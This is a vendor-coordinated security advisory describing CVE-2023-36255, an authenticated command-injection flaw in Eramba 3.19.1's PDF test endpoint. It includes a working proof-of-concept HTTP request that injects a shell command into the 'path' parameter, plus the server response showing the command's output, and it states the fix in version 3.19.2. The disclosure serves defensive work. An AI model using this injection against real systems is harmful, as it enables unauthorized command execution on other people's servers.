Authored by Sergey Makarov | Site trovent.io

Eramba version 3.19.1 suffers from a remote command execution vulnerability.

advisories | CVE-2023-36255

# Trovent Security Advisory 2303-01 #
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Authenticated remote code execution in Eramba
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Overview
########

Advisory ID: TRSA-2303-01
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2303-01
Affected product: Eramba
Affected version: 3.19.1 (Enterprise and Community edition)
Vendor: Eramba Limited, https://www.eramba.org
Credits: Trovent Security GmbH, Sergey Makarov


Detailed description
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Eramba is a web application for managing Governance, Risk, and Compliance (GRC).
Trovent Security GmbH discovered that the Eramba web application allows remote
code execution for authenticated users.
A possible attacker is able to modify the parameter "path" in the URL
"https://hostname/settings/download-test-pdf?path=" to execute arbitrary
commands in the context of the user account the application is running in.
To see the output of the executed command in the HTTP response, debug mode has
to be enabled.

Severity: High
CVSS Score: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CVE ID: CVE-2023-36255
CWE ID: CWE-94


Proof of concept
################

HTTP request:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GET /settings/download-test-pdf?path=ip%20a; HTTP/1.1
Host: [redacted]
Cookie: translation=1; csrfToken=1l2rXXwj1D1hVyVRH%2B1g%2BzIzYTA3OGFiNWRjZWVmODQ1OTU1NWEyODM2MzIwZTZkZTVlNmU1YjY%3D; PHPSESSID=14j6sfroe6t2g1mh71g2a1vjg8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/settings
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
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HTTP response:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HTTP/1.1 500 Internal Server Error
Date: Fri, 31 Mar 2023 12:37:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Disposition: attachment; filename="test.pdf"
X-DEBUGKIT-ID: d383f6d4-6680-4db0-b574-fe789abc1718
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2033469

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
        Error: The exit status code '127' says something went wrong:
stderr: "sh: 1: --dpi: not found
"
stdout: "1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether [redacted] brd ff:ff:ff:ff:ff:ff
    inet [redacted] brd [redacted] scope global ens33
       valid_lft forever preferred_lft forever
    inet6 [redacted] scope link
       valid_lft forever preferred_lft forever
"
command: ip a; --dpi '90' --lowquality --margin-bottom '0' --margin-left '0'
 --margin-right '0' --margin-top '0' --orientation 'Landscape'
 --javascript-delay '1000' '/tmp/knp_snappy6426d4231040e1.91046751.html'
'/tmp/knp_snappy6426d423104587.46971034.pdf'.    </title>

[...]
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Solution / Workaround
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The vendor released a fixed version of Eramba.

Fixed in version 3.19.2.


History
#######

2023-03-31: Vulnerability found
2023-04-04: Vendor contacted
2023-04-17: Vendor confirmed vulnerability
2023-04-20: Vendor released fixed version
2023-05-25: Trovent verified remediation of the vulnerability
2023-06-13: CVE ID requested
2023-07-28: CVE ID received
2023-08-01: Advisory published

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